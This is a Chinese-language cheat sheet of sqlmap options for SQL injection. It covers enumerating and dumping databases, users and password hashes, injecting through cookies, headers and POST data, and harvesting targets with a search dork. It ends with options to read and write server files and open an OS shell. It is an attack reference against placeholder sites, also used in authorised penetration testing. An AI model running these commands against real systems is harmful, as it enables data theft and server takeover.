sqlmap.py -h 查看帮助选项
常用的:
is-dba 当前用户权限
dbs 所有数据库
current-db 网站当前数据库
users 所有数据库用户
current-user 当前数据库用户
tables 参数:列表名(-D "数据库名称"(建议加上 --count,作用:统计有多少行,猜测管理员账号在哪个表))
columns 参数:列字段(-T "表名" -D "数据库名称")
dump 参数:下载数据(字段名)
--dump 获取表中的数据,包括列
--dump-all 转存DBMS数据库所有表
--level 测试等级(1-5),默认为1
读取数据库--->读取表--->读取表的列--->获取内容
-D 指定数据库
-T 指定表
-C 指定列
--dbms=mysql Oracle mssql 指定数据库
--users 枚举所有用户
--passwords 枚举所有用户密码
--roles 列出数据库管理员角色
--privileges 列出数据库管理员权限
列举数据库系统的架构
sqlmap.py -u "http://xx.com/int.php?id=1" --schema --batch(默认选择) --exclude-sysdbs
参数:--level
(1)共有五个等级,默认为1,sqlmap使用的payload可以在xml/payload.xml中看到,你也可以根据相应的格式添加自己的payload
(2)这个参数不仅影响使用哪些payload同时也会影响测试的注入点,GET和POST的数据都会测试,HTTP Cookie在level为2的时候就会测试,
HTTP User-Agent、Referer头在level为3的时候就会测试。
(3)总之在你不确定那个payload或者参数为注入点的时候,为了保证全面性,建议使用高的level值。
-v 显示调试信息 有7个级别
0、只显示python错误以及严重的信息。
1、同时显示基本信息和严重警告。(默认)
2、同时显示debug信息。
3、同时显示注入的payload。
4、同时显示HTTP请求。
5、同时显示HTTP响应头。
6、同时显示HTTP响应页面。
参数:--risk
(1)共有四个风险等级,默认是1会测试大部分的测试语句,2会增加基于时间的测试语句,3会增加or语句的sql注入测试。
(2)在某些时候,例如在UPDATE的语句中,注入一个or的测试语句,可能导致更新整个表,可能造成很大的风险。
(3)测试的语句同样可以在xml/payload.xml中找到,你也可以自行添加payload。
参数: -u或者--url
参数:-m(多个)
参数:-r(post、搜索注入、http头注入、登录后的注入点、cookie)
参数:-g
sqlmap.py -g "inurl:?id="/边监测边测试(需要梯子)
此参数是吧数据以POST方式提交,sqlmap会像检测GET参数一样检测POST参数。
例:sqlmap.py -u "http://www.xxx.com/int.php" --data="id=1"
参数拆分字符
当GET或POST的数据需要用其他字符分割测试参数的时候需要用到此参数
例:sqlmap.py -u "http://www.xxx.com/int.php" --data="query=foobar;d=1" --param-del=";"
适合于cookie注入
例:sqlmap -u "http://www.xxx.com/int.asp" --cookie "id=1" --level 2
--referer
sqlamp可以在请求中伪造HTTP中的referer,当--level参数设定为3或者3以上的时候会尝试对referer注入。
--headers
可以通过--headers参数来增加额外的http头
--headers "client-ip:1.1.1.1" --level=3
--proxy
使用--proxy代理格式为:http://url:port
--delay=0.5 请求速度为0.5秒(或者改掉sqlmap\lib\core\options.py的爬行蜘蛛,自行查找大型浏览器的蜘蛛)
--timeout 设置超时时间
--retries 设置重连次数
可以指定测定参数
闭合语句
select * from admin where (id='id') //sqlmap方法在后面加上--prefix "1')" --suffix "and ('1=1"
指定探测技术,默认探测所有的方式。
例:sqlmap -u "http://www.xxx.com/int.php?id=1" --tech=U
B:Boolean-based blind SQL injection (布尔型注入)
E:Error-based SQL injection(报错型注入)
U:UNION query SQL injection(可联合查询注入)
S:Stacked queries SQL injection(可多语句查询注入)
T:Time-based blind SQL injection(基于时间延迟注入)
例:--search -C "pwd" -D 数据库名
--smart 对多个目标进行快速检测注入
--mobile 伪造移动端User-Agent
检测waf
参数:--common-tables
不要用的:union error
要用的:时间盲注 延迟注入 MySQL<5.0
--file-read "绝对路径" 读文件
--file-write "本地文件" --file-dest "目标服务器位置"
--os-shell